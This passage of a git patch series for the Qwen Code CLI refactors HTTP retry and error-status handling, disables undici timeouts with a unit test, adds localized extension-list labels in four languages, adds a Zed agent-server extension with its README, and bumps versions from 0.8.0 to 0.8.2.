non-429 error, or if Retry-After is not present next time currentDelay = initialDelayMs; } else { @@ -182,25 +150,23 @@ export async function retryWithBackoff( * @returns The HTTP status code, or undefined if not found. */ export function getErrorStatus(error: unknown): number | undefined { - if (typeof error === 'object' && error !== null) { - if ('status' in error && typeof error.status === 'number') { - return error.status; - } - // Check for error.response.status (common in axios errors) - if ( - 'response' in error && - typeof (error as { response?: unknown }).response === 'object' && - (error as { response?: unknown }).response !== null - ) { - const response = ( - error as { response: { status?: unknown; headers?: unknown } } - ).response; - if ('status' in response && typeof response.status === 'number') { - return response.status; - } - } + if (typeof error !== 'object' || error === null) { + return undefined; } - return undefined; + + const err = error as { + status?: unknown; + statusCode?: unknown; + response?: { status?: unknown }; + error?: { code?: unknown }; + }; + + const value = + err.status ?? err.statusCode ?? err.response?.status ?? err.error?.code; + + return typeof value === 'number' && value >= 100 && value <= 599 + ? value + : undefined; } /** @@ -241,24 +207,6 @@ function getRetryAfterDelayMs(error: unknown): number { return 0; } -/** - * Determines the delay duration based on the error, prioritizing Retry-After header. - * @param error The error object. - * @returns An object containing the delay duration in milliseconds and the error status. - */ -function getDelayDurationAndStatus(error: unknown): { - delayDurationMs: number; - errorStatus: number | undefined; -} { - const errorStatus = getErrorStatus(error); - let delayDurationMs = 0; - - if (errorStatus === 429) { - delayDurationMs = getRetryAfterDelayMs(error); - } - return { delayDurationMs, errorStatus }; -} - /** * Logs a message for a retry attempt when using exponential backoff. * @param attempt The current attempt number. @@ -270,31 +218,15 @@ function logRetryAttempt( error: unknown, errorStatus?: number, ): void { - let message = `Attempt ${attempt} failed. Retrying with backoff...`; - if (errorStatus) { - message = `Attempt ${attempt} failed with status ${errorStatus}. Retrying with backoff...`; - } + const message = errorStatus + ? `Attempt ${attempt} failed with status ${errorStatus}. Retrying with backoff...` + : `Attempt ${attempt} failed. Retrying with backoff...`; if (errorStatus === 429) { console.warn(message, error); } else if (errorStatus && errorStatus >= 500 && errorStatus < 600) { console.error(message, error); - } else if (error instanceof Error) { - // Fallback for errors that might not have a status but have a message - if (error.message.includes('429')) { - console.warn( - `Attempt ${attempt} failed with 429 error (no Retry-After header). Retrying with backoff...`, - error, - ); - } else if (error.message.match(/5\d{2}/)) { - console.error( - `Attempt ${attempt} failed with 5xx error. Retrying with backoff...`, - error, - ); - } else { - console.warn(message, error); // Default to warn for other errors - } } else { - console.warn(message, error); // Default to warn if error type is unknown + console.warn(message, error); } } From ebaecc7256ba7ca7c466a1f01da217253b099ab5 Mon Sep 17 00:00:00 2001 From: "mingholy.lmh" Date: Tue, 27 Jan 2026 20:36:45 +0800 Subject: [PATCH 52/79] fix: add headersTimeout and unit test --- .../anthropicContentGenerator.ts | 3 +- .../src/utils/runtimeFetchOptions.test.ts | 76 +++++++++++++++++++ .../core/src/utils/runtimeFetchOptions.ts | 12 +-- 3 files changed, 85 insertions(+), 6 deletions(-) create mode 100644 packages/core/src/utils/runtimeFetchOptions.test.ts diff --git a/packages/core/src/core/anthropicContentGenerator/anthropicContentGenerator.ts b/packages/core/src/core/anthropicContentGenerator/anthropicContentGenerator.ts index 98a3a985d..d66787635 100644 --- a/packages/core/src/core/anthropicContentGenerator/anthropicContentGenerator.ts +++ b/packages/core/src/core/anthropicContentGenerator/anthropicContentGenerator.ts @@ -29,6 +29,7 @@ import { RequestTokenEstimator } from '../../utils/request-tokenizer/index.js'; import { safeJsonParse } from '../../utils/safeJsonParse.js'; import { AnthropicContentConverter } from './converter.js'; import { buildRuntimeFetchOptions } from '../../utils/runtimeFetchOptions.js'; +import { DEFAULT_TIMEOUT } from '../openaiContentGenerator/constants.js'; type StreamingBlockState = { type: string; @@ -65,7 +66,7 @@ export class AnthropicContentGenerator implements ContentGenerator { this.client = new Anthropic({ apiKey: contentGeneratorConfig.apiKey, baseURL, - timeout: contentGeneratorConfig.timeout, + timeout: contentGeneratorConfig.timeout || DEFAULT_TIMEOUT, maxRetries: contentGeneratorConfig.maxRetries, defaultHeaders, ...runtimeOptions, diff --git a/packages/core/src/utils/runtimeFetchOptions.test.ts b/packages/core/src/utils/runtimeFetchOptions.test.ts new file mode 100644 index 000000000..3cb6efbd1 --- /dev/null +++ b/packages/core/src/utils/runtimeFetchOptions.test.ts @@ -0,0 +1,76 @@ +/** + * @license + * Copyright 2025 Qwen Team + * SPDX-License-Identifier: Apache-2.0 + */ + +import { describe, it, expect, vi } from 'vitest'; +import { buildRuntimeFetchOptions } from './runtimeFetchOptions.js'; + +type UndiciOptions = Record; + +vi.mock('undici', () => { + class MockAgent { + options: UndiciOptions; + constructor(options: UndiciOptions) { + this.options = options; + } + } + + class MockProxyAgent { + options: UndiciOptions; + constructor(options: UndiciOptions) { + this.options = options; + } + } + + return { + Agent: MockAgent, + ProxyAgent: MockProxyAgent, + }; +}); + +describe('buildRuntimeFetchOptions (node runtime)', () => { + it('disables undici timeouts for Agent in OpenAI options', () => { + const result = buildRuntimeFetchOptions('openai'); + + expect(result).toBeDefined(); + expect(result && 'dispatcher' in result).toBe(true); + + const dispatcher = (result as { dispatcher?: { options?: UndiciOptions } }) + .dispatcher; + expect(dispatcher?.options).toMatchObject({ + headersTimeout: 0, + bodyTimeout: 0, + }); + }); + + it('uses ProxyAgent with disabled timeouts when proxy is set', () => { + const result = buildRuntimeFetchOptions('openai', 'http://proxy.local'); + + expect(result).toBeDefined(); + expect(result && 'dispatcher' in result).toBe(true); + + const dispatcher = (result as { dispatcher?: { options?: UndiciOptions } }) + .dispatcher; + expect(dispatcher?.options).toMatchObject({ + uri: 'http://proxy.local', + headersTimeout: 0, + bodyTimeout: 0, + }); + }); + + it('returns httpAgent with disabled timeouts for Anthropic options', () => { + const result = buildRuntimeFetchOptions('anthropic'); + + expect(result).toBeDefined(); + expect(result && 'httpAgent' in result).toBe(true); + + const httpAgent = (result as { httpAgent?: { options?: UndiciOptions } }) + .httpAgent; + expect(httpAgent?.options).toMatchObject({ + headersTimeout: 0, + bodyTimeout: 0, + }); + }); +}); diff --git a/packages/core/src/utils/runtimeFetchOptions.ts b/packages/core/src/utils/runtimeFetchOptions.ts index 35235f02d..8eab8929f 100644 --- a/packages/core/src/utils/runtimeFetchOptions.ts +++ b/packages/core/src/utils/runtimeFetchOptions.ts @@ -77,10 +77,10 @@ export function buildRuntimeFetchOptions( ): OpenAIRuntimeFetchOptions | AnthropicRuntimeFetchOptions { const runtime = detectRuntime(); - // Always disable bodyTimeout (set to 0) to let SDK's timeout parameter - // control the total request time. bodyTimeout only monitors intervals between - // data chunks, not the total request time, so we disable it to ensure user-configured - // timeout works as expected for both streaming and non-streaming requests. + // Always disable undici timeouts (set to 0) to let SDK's timeout parameter + // control the total request time. bodyTimeout monitors intervals between data + // chunks, headersTimeout waits for response headers, so we disable both to + // ensure user-configured timeouts work as expected for long-running requests. switch (runtime) { case 'bun': { @@ -114,7 +114,7 @@ export function buildRuntimeFetchOptions( case 'node': { // Node.js: Use ProxyAgent when proxy is configured, otherwise Agent. - // bodyTimeout is always 0 (disabled) to let SDK timeout control the request. + // undici timeouts are disabled to let SDK timeout control the request. try { const dispatcher = createDispatcher(proxyUrl); if (sdkType === 'openai') { @@ -164,10 +164,12 @@ function createDispatcher(proxyUrl?: string): Dispatcher { if (proxyUrl) { return new ProxyAgent({ uri: proxyUrl, + headersTimeout: 0, bodyTimeout: 0, }); } return new Agent({ + headersTimeout: 0, bodyTimeout: 0, }); } From 61d2c72c90b3b22d3327936898f37dd73a047353 Mon Sep 17 00:00:00 2001 From: LaZzyMan Date: Tue, 27 Jan 2026 20:42:35 +0800 Subject: [PATCH 53/79] feat: add skills and agents display to extension list with i18n support - Add skills and agents sections to extensionToOutputString() output - Implement full i18n support for all extension info labels - Add translations for en, zh, de, ru languages - Display skill names and agent names in extension list command --- packages/cli/src/commands/extensions/utils.ts | 31 +++++++++++++------ packages/cli/src/i18n/locales/de.js | 11 +++++++ packages/cli/src/i18n/locales/en.js | 11 +++++++ packages/cli/src/i18n/locales/ru.js | 11 +++++++ packages/cli/src/i18n/locales/zh.js | 11 +++++++ 5 files changed, 66 insertions(+), 9 deletions(-) diff --git a/packages/cli/src/commands/extensions/utils.ts b/packages/cli/src/commands/extensions/utils.ts index d7d2d0a59..52cd1cd4c 100644 --- a/packages/cli/src/commands/extensions/utils.ts +++ b/packages/cli/src/commands/extensions/utils.ts @@ -14,6 +14,7 @@ import { import { isWorkspaceTrusted } from '../../config/trustedFolders.js'; import * as os from 'node:os'; import chalk from 'chalk'; +import { t } from '../../i18n/index.js'; export async function getExtensionManager(): Promise { const workspaceDir = process.cwd(); @@ -48,32 +49,44 @@ export function extensionToOutputString( const status = workspaceEnabled ? chalk.green('✓') : chalk.red('✗'); let output = `${inline ? '' : status} ${extension.config.name} (${extension.config.version})`; - output += `\n Path: ${extension.path}`; + output += `\n ${t('Path:')} ${extension.path}`; if (extension.installMetadata) { - output += `\n Source: ${extension.installMetadata.source} (Type: ${extension.installMetadata.type})`; + output += `\n ${t('Source:')} ${extension.installMetadata.source} (${t('Type:')} ${extension.installMetadata.type})`; if (extension.installMetadata.ref) { - output += `\n Ref: ${extension.installMetadata.ref}`; + output += `\n ${t('Ref:')} ${extension.installMetadata.ref}`; } if (extension.installMetadata.releaseTag) { - output += `\n Release tag: ${extension.installMetadata.releaseTag}`; + output += `\n ${t('Release tag:')} ${extension.installMetadata.releaseTag}`; } } - output += `\n Enabled (User): ${userEnabled}`; - output += `\n Enabled (Workspace): ${workspaceEnabled}`; + output += `\n ${t('Enabled (User):')} ${userEnabled}`; + output += `\n ${t('Enabled (Workspace):')} ${workspaceEnabled}`; if (extension.contextFiles.length > 0) { - output += `\n Context files:`; + output += `\n ${t('Context files:')}`; extension.contextFiles.forEach((contextFile) => { output += `\n ${contextFile}`; }); } if (extension.commands && extension.commands.length > 0) { - output += `\n Commands:`; + output += `\n ${t('Commands:')}`; extension.commands.forEach((command) => { output += `\n /${command}`; }); } + if (extension.skills && extension.skills.length > 0) { + output += `\n ${t('Skills:')}`; + extension.skills.forEach((skill) => { + output += `\n ${skill.name}`; + }); + } + if (extension.agents && extension.agents.length > 0) { + output += `\n ${t('Agents:')}`; + extension.agents.forEach((agent) => { + output += `\n ${agent.name}`; + }); + } if (extension.config.mcpServers) { - output += `\n MCP servers:`; + output += `\n ${t('MCP servers:')}`; Object.keys(extension.config.mcpServers).forEach((key) => { output += `\n ${key}`; }); diff --git a/packages/cli/src/i18n/locales/de.js b/packages/cli/src/i18n/locales/de.js index fdda3a352..db66ae5f5 100644 --- a/packages/cli/src/i18n/locales/de.js +++ b/packages/cli/src/i18n/locales/de.js @@ -480,6 +480,17 @@ export default { 'Either an extension name or --all must be provided': 'Entweder ein Erweiterungsname oder --all muss angegeben werden', 'Lists installed extensions.': 'Listet installierte Erweiterungen auf.', + 'Path:': 'Pfad:', + 'Source:': 'Quelle:', + 'Type:': 'Typ:', + 'Ref:': 'Ref:', + 'Release tag:': 'Release-Tag:', + 'Enabled (User):': 'Aktiviert (Benutzer):', + 'Enabled (Workspace):': 'Aktiviert (Arbeitsbereich):', + 'Context files:': 'Kontextdateien:', + 'Skills:': 'Skills:', + 'Agents:': 'Agents:', + 'MCP servers:': 'MCP-Server:', 'Link extension failed to install.': 'Verknüpfte Erweiterung konnte nicht installiert werden.', 'Extension "{{name}}" linked successfully and enabled.': diff --git a/packages/cli/src/i18n/locales/en.js b/packages/cli/src/i18n/locales/en.js index 94e330c28..4d490aeb2 100644 --- a/packages/cli/src/i18n/locales/en.js +++ b/packages/cli/src/i18n/locales/en.js @@ -492,6 +492,17 @@ export default { 'Either an extension name or --all must be provided': 'Either an extension name or --all must be provided', 'Lists installed extensions.': 'Lists installed extensions.', + 'Path:': 'Path:', + 'Source:': 'Source:', + 'Type:': 'Type:', + 'Ref:': 'Ref:', + 'Release tag:': 'Release tag:', + 'Enabled (User):': 'Enabled (User):', + 'Enabled (Workspace):': 'Enabled (Workspace):', + 'Context files:': 'Context files:', + 'Skills:': 'Skills:', + 'Agents:': 'Agents:', + 'MCP servers:': 'MCP servers:', 'Link extension failed to install.': 'Link extension failed to install.', 'Extension "{{name}}" linked successfully and enabled.': 'Extension "{{name}}" linked successfully and enabled.', diff --git a/packages/cli/src/i18n/locales/ru.js b/packages/cli/src/i18n/locales/ru.js index e659115f7..ab0305519 100644 --- a/packages/cli/src/i18n/locales/ru.js +++ b/packages/cli/src/i18n/locales/ru.js @@ -496,6 +496,17 @@ export default { 'Either an extension name or --all must be provided': 'Необходимо указать имя расширения или --all', 'Lists installed extensions.': 'Показывает установленные расширения.', + 'Path:': 'Путь:', + 'Source:': 'Источник:', + 'Type:': 'Тип:', + 'Ref:': 'Ссылка:', + 'Release tag:': 'Тег релиза:', + 'Enabled (User):': 'Включено (Пользователь):', + 'Enabled (Workspace):': 'Включено (Рабочее пространство):', + 'Context files:': 'Контекстные файлы:', + 'Skills:': 'Навыки:', + 'Agents:': 'Агенты:', + 'MCP servers:': 'MCP-серверы:', 'Link extension failed to install.': 'Не удалось установить связанное расширение.', 'Extension "{{name}}" linked successfully and enabled.': diff --git a/packages/cli/src/i18n/locales/zh.js b/packages/cli/src/i18n/locales/zh.js index df1c15f84..8f106a2d6 100644 --- a/packages/cli/src/i18n/locales/zh.js +++ b/packages/cli/src/i18n/locales/zh.js @@ -469,6 +469,17 @@ export default { 'Either an extension name or --all must be provided': '必须提供扩展名称或 --all', 'Lists installed extensions.': '列出已安装的扩展。', + 'Path:': '路径：', + 'Source:': '来源：', + 'Type:': '类型：', + 'Ref:': '引用：', + 'Release tag:': '发布标签：', + 'Enabled (User):': '已启用（用户）：', + 'Enabled (Workspace):': '已启用（工作区）：', + 'Context files:': '上下文文件：', + 'Skills:': '技能：', + 'Agents:': '代理：', + 'MCP servers:': 'MCP 服务器：', 'Link extension failed to install.': '链接扩展安装失败。', 'Extension "{{name}}" linked successfully and enabled.': '扩展 "{{name}}" 链接成功并已启用。', From d94a163a09fa68d6863315521705ed531e230a71 Mon Sep 17 00:00:00 2001 From: "mingholy.lmh" Date: Tue, 27 Jan 2026 20:47:37 +0800 Subject: [PATCH 54/79] feat: add zed agent server extension --- packages/zed-extension/extension.toml | 36 +++++++++++++++++++++++++++ 1 file changed, 36 insertions(+) create mode 100644 packages/zed-extension/extension.toml diff --git a/packages/zed-extension/extension.toml b/packages/zed-extension/extension.toml new file mode 100644 index 000000000..51f92fe9f --- /dev/null +++ b/packages/zed-extension/extension.toml @@ -0,0 +1,36 @@ +id = "qwen-code" +name = "Qwen Code" +version = "0.1.0" +schema_version = 1 +authors = ["Qwen Team"] +description = "Qwen Code Agent Server Extension for Zed" +repository = "https://github.com/QwenLM/qwen-code-zed-extension" + +[agent_servers.qwen-code] +name = "Qwen Code" +icon = "qwen-code.svg" + +# Global environment variables (optional) +# [agent_servers.qwen-code.env] +# QWEN_LOG_LEVEL = "info" + +[agent_servers.qwen-code.targets.darwin-aarch64] +archive = "https://registry.npmjs.org/@qwen-code/qwen-code/-/qwen-code-0.8.0.tgz" +cmd = "node" +args = ["./package/cli.js", "--acp"] + +[agent_servers.qwen-code.targets.darwin-x86_64] +archive = "https://registry.npmjs.org/@qwen-code/qwen-code/-/qwen-code-0.8.0.tgz" +cmd = "node" +args = ["./package/cli.js", "--acp"] + +[agent_servers.qwen-code.targets.linux-x86_64] +archive = "https://registry.npmjs.org/@qwen-code/qwen-code/-/qwen-code-0.8.0.tgz" +cmd = "node" +args = ["./package/cli.js", "--acp"] + +[agent_servers.qwen-code.targets.windows-x86_64] +archive = "https://registry.npmjs.org/@qwen-code/qwen-code/-/qwen-code-0.8.0.tgz" +cmd = "node" +args = ["./package/cli.js", "--acp"] + From 501d0a6432c258a51aaf9b623b956ffeab247dfa Mon Sep 17 00:00:00 2001 From: "mingholy.lmh" Date: Tue, 27 Jan 2026 20:54:32 +0800 Subject: [PATCH 55/79] feat: add LICENSE, README, and SVG for Qwen Code extension --- packages/zed-extension/LICENSE | 22 +++++ packages/zed-extension/README.md | 125 +++++++++++++++++++++++++++ packages/zed-extension/qwen-code.svg | 1 + 3 files changed, 148 insertions(+) create mode 100644 packages/zed-extension/LICENSE create mode 100644 packages/zed-extension/README.md create mode 100644 packages/zed-extension/qwen-code.svg diff --git a/packages/zed-extension/LICENSE b/packages/zed-extension/LICENSE new file mode 100644 index 000000000..1600dfe56 --- /dev/null +++ b/packages/zed-extension/LICENSE @@ -0,0 +1,22 @@ +MIT License + +Copyright (c) 2025 Qwen Team + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. + diff --git a/packages/zed-extension/README.md b/packages/zed-extension/README.md new file mode 100644 index 000000000..8dc8f1b8e --- /dev/null +++ b/packages/zed-extension/README.md @@ -0,0 +1,125 @@ +# Qwen Code Agent Server Extension for Zed + +A [Zed](https://zed.dev) extension that integrates [Qwen Code](https://github.com/QwenLM/qwen-code) as an AI agent server using the [Agent Client Protocol (ACP)](https://agentclientprotocol.com). + +## Features + +- **Native Agent Experience**: Integrated AI assistant panel within Zed's interface +- **Agent Client Protocol**: Full support for ACP enabling advanced IDE interactions +- **File Management**: @-mention files to add them to the conversation context +- **Conversation History**: Access to past conversations within Zed +- **Multi-platform Support**: Works on macOS (ARM64 & Intel), Linux, and Windows + +## Installation + +1. Open Zed Editor +2. Open the Extensions panel (`cmd-shift-x` on macOS or `ctrl-shift-x` on Linux/Windows) +3. Search for "Qwen Code" +4. Click "Install" +5. Switch to the **Agent Server** tab and ensure Qwen Code is enabled + +Alternatively, you can install from the command line: + +```bash +zed --install-extension qwen-code +``` + +## Usage + +1. Open the Agent Panel in Zed (`cmd-shift-a` on macOS or `ctrl-shift-a` on Linux/Windows) +2. Select "Qwen Code" from the agent list +3. Start chatting with the AI assistant + +### Tips + +- Use `@filename` to mention files in your conversation +- The agent can read, write, and edit files in your workspace +- Ask the agent to explain code, suggest improvements, or help with debugging +- Use natural language to describe what you want to accomplish + +## Requirements + +- Zed Editor (latest version recommended) +- Internet connection for AI model access +- Node.js >= 20 (for running Qwen Code agent server) + +## Configuration + +### Environment Variables + +When running as an agent server, Qwen Code will: +- Inherit environment variables from Zed +- Read/create `~/.qwen` directory for runtime settings +- Use existing model and authentication settings in `~/.qwen/settings.json` (except for initial login) + +For additional environment variables, configure them in your Zed settings: + +```json +{ + "agent_servers": { + "qwen-code": { + "env": { + "QWEN_LOG_LEVEL": "info", + "YOUR_CUSTOM_VAR": "value" + } + } + } +} +``` + +## Troubleshooting + +### Server shutdown unexpectedly + +If you encounter errors like "server shut down unexpectedly" or similar issues: + +1. Collect logs by pressing `cmd+shift+p` (macOS) or `ctrl+shift+p` (Linux/Windows) +2. Select **Zed: Open Log** +3. Check logs related to agent server or Node.js +4. Include the relevant log information when creating an issue + +### Agent server starts but encounters issues + +If the agent server starts successfully but you experience problems during use: + +1. Press `cmd+shift+p` (macOS) or `ctrl+shift+p` (Linux/Windows) +2. Select **Dev: Open ACP Logs** +3. Review ACP logs for error messages +4. Include the relevant log information when creating an issue + +### Where to report issues + +You can report issues at either: +- [Qwen Code Issues](https://github.com/QwenLM/qwen-code/issues) +- [Qwen Code Zed Extension Issues](https://github.com/QwenLM/qwen-code-zed-extension/issues) + +## Documentation + +- [Qwen Code Documentation](https://qwenlm.github.io/qwen-code-docs/) +- [Zed Agent Panel Guide](https://zed.dev/docs/ai/agent-panel) +- [Agent Client Protocol](https://agentclientprotocol.com) + +## Support + +- [Report Issues](https://github.com/QwenLM/qwen-code/issues) +- [Qwen Code Discussions](https://github.com/QwenLM/qwen-code/discussions) +- [Zed Community](https://zed.dev/community) + +## License + +See [LICENSE](LICENSE) file for details. + +## Contributing + +Contributions are welcome! Please feel free to submit issues or pull requests. + +## About Qwen Code + +Qwen Code is an AI-powered coding assistant that helps developers write better code faster. It provides intelligent code completion, refactoring suggestions, bug detection, and natural language code generation. + +Learn more at [qwenlm.github.io/qwen-code-docs](https://qwenlm.github.io/qwen-code-docs/) + +## Stay Tuned + +The current version still requires Node.js to run. A single-file executable version is in development - stay tuned for updates! + diff --git a/packages/zed-extension/qwen-code.svg b/packages/zed-extension/qwen-code.svg new file mode 100644 index 000000000..6232ae3ee --- /dev/null +++ b/packages/zed-extension/qwen-code.svg @@ -0,0 +1 @@ + \ No newline at end of file From d04573e7b6b011de60470852e1e47b2dfc3405db Mon Sep 17 00:00:00 2001 From: "mingholy.lmh" Date: Tue, 27 Jan 2026 20:59:22 +0800 Subject: [PATCH 56/79] chore: update repository URL and add experimental skills flag to CLI args for all platforms --- packages/zed-extension/extension.toml | 14 +++++--------- 1 file changed, 5 insertions(+), 9 deletions(-) diff --git a/packages/zed-extension/extension.toml b/packages/zed-extension/extension.toml index 51f92fe9f..367e1e166 100644 --- a/packages/zed-extension/extension.toml +++ b/packages/zed-extension/extension.toml @@ -4,33 +4,29 @@ version = "0.1.0" schema_version = 1 authors = ["Qwen Team"] description = "Qwen Code Agent Server Extension for Zed" -repository = "https://github.com/QwenLM/qwen-code-zed-extension" +repository = "https://github.com/QwenLM/qwen-code" [agent_servers.qwen-code] name = "Qwen Code" icon = "qwen-code.svg" -# Global environment variables (optional) -# [agent_servers.qwen-code.env] -# QWEN_LOG_LEVEL = "info" - [agent_servers.qwen-code.targets.darwin-aarch64] archive = "https://registry.npmjs.org/@qwen-code/qwen-code/-/qwen-code-0.8.0.tgz" cmd = "node" -args = ["./package/cli.js", "--acp"] +args = ["./package/cli.js", "--acp", "--experimental-skills"] [agent_servers.qwen-code.targets.darwin-x86_64] archive = "https://registry.npmjs.org/@qwen-code/qwen-code/-/qwen-code-0.8.0.tgz" cmd = "node" -args = ["./package/cli.js", "--acp"] +args = ["./package/cli.js", "--acp", "--experimental-skills"] [agent_servers.qwen-code.targets.linux-x86_64] archive = "https://registry.npmjs.org/@qwen-code/qwen-code/-/qwen-code-0.8.0.tgz" cmd = "node" -args = ["./package/cli.js", "--acp"] +args = ["./package/cli.js", "--acp", "--experimental-skills"] [agent_servers.qwen-code.targets.windows-x86_64] archive = "https://registry.npmjs.org/@qwen-code/qwen-code/-/qwen-code-0.8.0.tgz" cmd = "node" -args = ["./package/cli.js", "--acp"] +args = ["./package/cli.js", "--acp", "--experimental-skills"] From 93b81f5d554ec3bab4dc6265299a3d779b707519 Mon Sep 17 00:00:00 2001 From: "mingholy.lmh" Date: Tue, 27 Jan 2026 21:13:38 +0800 Subject: [PATCH 57/79] chore: bump version to 0.8.1 Co-authored-by: Qwen-Coder --- package-lock.json | 15 ++++++++------- package.json | 4 ++-- packages/cli/package.json | 4 ++-- packages/core/package.json | 2 +- packages/test-utils/package.json | 2 +- packages/vscode-ide-companion/package.json | 2 +- 6 files changed, 15 insertions(+), 14 deletions(-) diff --git a/package-lock.json b/package-lock.json index e3e7405e1..63dd65190 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1,12 +1,12 @@ { "name": "@qwen-code/qwen-code", - "version": "0.8.0", + "version": "0.8.1", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "@qwen-code/qwen-code", - "version": "0.8.0", + "version": "0.8.1", "workspaces": [ "packages/*" ], @@ -3878,6 +3878,7 @@ "version": "2.4.9", "resolved": "https://registry.npmjs.org/@types/prompts/-/prompts-2.4.9.tgz", "integrity": "sha512-qTxFi6Buiu8+50/+3DGIWLHM6QuWsEKugJnnP6iv2Mc4ncxE4A/OJkjuVOA+5X0X1S/nq5VJRa8Lu+nwcvbrKA==", + "dev": true, "license": "MIT", "dependencies": { "@types/node": "*", @@ -17323,13 +17324,12 @@ }, "packages/cli": { "name": "@qwen-code/qwen-code", - "version": "0.8.0", + "version": "0.8.1", "dependencies": { "@google/genai": "1.30.0", "@iarna/toml": "^2.2.5", "@modelcontextprotocol/sdk": "^1.25.1", "@qwen-code/qwen-code-core": "file:../core", - "@types/prompts": "^2.4.9", "@types/update-notifier": "^6.0.8", "ansi-regex": "^6.2.2", "command-exists": "^1.2.9", @@ -17373,6 +17373,7 @@ "@types/diff": "^7.0.2", "@types/dotenv": "^6.1.1", "@types/node": "^20.11.24", + "@types/prompts": "^2.4.9", "@types/react": "^19.1.8", "@types/react-dom": "^19.1.6", "@types/semver": "^7.7.0", @@ -17959,7 +17960,7 @@ }, "packages/core": { "name": "@qwen-code/qwen-code-core", - "version": "0.8.0", + "version": "0.8.1", "hasInstallScript": true, "dependencies": { "@anthropic-ai/sdk": "^0.36.1", @@ -21423,7 +21424,7 @@ }, "packages/test-utils": { "name": "@qwen-code/qwen-code-test-utils", - "version": "0.8.0", + "version": "0.8.1", "dev": true, "license": "Apache-2.0", "devDependencies": { @@ -21435,7 +21436,7 @@ }, "packages/vscode-ide-companion": { "name": "qwen-code-vscode-ide-companion", - "version": "0.8.0", + "version": "0.8.1", "license": "LICENSE", "dependencies": { "@modelcontextprotocol/sdk": "^1.25.1", diff --git a/package.json b/package.json index 9e714499a..d03edce12 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "@qwen-code/qwen-code", - "version": "0.8.0", + "version": "0.8.1", "engines": { "node": ">=20.0.0" }, @@ -13,7 +13,7 @@ "url": "git+https://github.com/QwenLM/qwen-code.git" }, "config": { - "sandboxImageUri": "ghcr.io/qwenlm/qwen-code:0.8.0" + "sandboxImageUri": "ghcr.io/qwenlm/qwen-code:0.8.1" }, "scripts": { "start": "cross-env node scripts/start.js", diff --git a/packages/cli/package.json b/packages/cli/package.json index 8c198fc61..ff8779cb8 100644 --- a/packages/cli/package.json +++ b/packages/cli/package.json @@ -1,6 +1,6 @@ { "name": "@qwen-code/qwen-code", - "version": "0.8.0", + "version": "0.8.1", "description": "Qwen Code", "repository": { "type": "git", @@ -33,7 +33,7 @@ "dist" ], "config": { - "sandboxImageUri": "ghcr.io/qwenlm/qwen-code:0.8.0" + "sandboxImageUri": "ghcr.io/qwenlm/qwen-code:0.8.1" }, "dependencies": { "@google/genai": "1.30.0", diff --git a/packages/core/package.json b/packages/core/package.json index a7edfe600..10c7c7f32 100644 --- a/packages/core/package.json +++ b/packages/core/package.json @@ -1,6 +1,6 @@ { "name": "@qwen-code/qwen-code-core", - "version": "0.8.0", + "version": "0.8.1", "description": "Qwen Code Core", "repository": { "type": "git", diff --git a/packages/test-utils/package.json b/packages/test-utils/package.json index 914761139..8d71c7f16 100644 --- a/packages/test-utils/package.json +++ b/packages/test-utils/package.json @@ -1,6 +1,6 @@ { "name": "@qwen-code/qwen-code-test-utils", - "version": "0.8.0", + "version": "0.8.1", "private": true, "main": "src/index.ts", "license": "Apache-2.0", diff --git a/packages/vscode-ide-companion/package.json b/packages/vscode-ide-companion/package.json index 42444ccb9..b337cd1d6 100644 --- a/packages/vscode-ide-companion/package.json +++ b/packages/vscode-ide-companion/package.json @@ -2,7 +2,7 @@ "name": "qwen-code-vscode-ide-companion", "displayName": "Qwen Code Companion", "description": "Enable Qwen Code with direct access to your VS Code workspace.", - "version": "0.8.0", + "version": "0.8.1", "publisher": "qwenlm", "icon": "assets/icon.png", "repository": { From 37fdee3245e386fe08f692273c5f8ba03ecb17cc Mon Sep 17 00:00:00 2001 From: "mingholy.lmh" Date: Tue, 27 Jan 2026 21:52:20 +0800 Subject: [PATCH 58/79] chore: bump version to 0.8.2 Co-authored-by: Qwen-Coder --- package-lock.json | 12 ++++++------ package.json | 4 ++-- packages/cli/package.json | 4 ++-- packages/core/package.json | 2 +- packages/test-utils/package.json | 2 +- packages/vscode-ide-companion/package.json | 2 +- 6 files changed, 13 insertions(+), 13 deletions(-) diff --git a/package-lock.json b/package-lock.json index 63dd65190..e4050baba 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1,12 +1,12 @@ { "name": "@qwen-code/qwen-code", - "version": "0.8.1", + "version": "0.8.2", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "@qwen-code/qwen-code", - "version": "0.8.1", + "version": "0.8.2", "workspaces": [ "packages/*" ], @@ -17324,7 +17324,7 @@ }, "packages/cli": { "name": "@qwen-code/qwen-code", - "version": "0.8.1", + "version": "0.8.2", "dependencies": { "@google/genai": "1.30.0", "@iarna/toml": "^2.2.5", @@ -17960,7 +17960,7 @@ }, "packages/core": { "name": "@qwen-code/qwen-code-core", - "version": "0.8.1", + "version": "0.8.2", "hasInstallScript": true, "dependencies": { "@anthropic-ai/sdk": "^0.36.1", @@ -21424,7 +21424,7 @@ }, "packages/test-utils": { "name": "@qwen-code/qwen-code-test-utils", - "version": "0.8.1", + "version": "0.8.2", "dev": true, "license": "Apache-2.0", "devDependencies": { @@ -21436,7 +21436,7 @@ }, "packages/vscode-ide-companion": { "name": "qwen-code-vscode-ide-companion", - "version": "0.8.1", + "version": "0.8.2", "license": "LICENSE", "dependencies": { "@modelcontextprotocol/sdk": "^1.25.1", diff --git a/package.json b/package.json index d03edce12..076ab33e4 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ 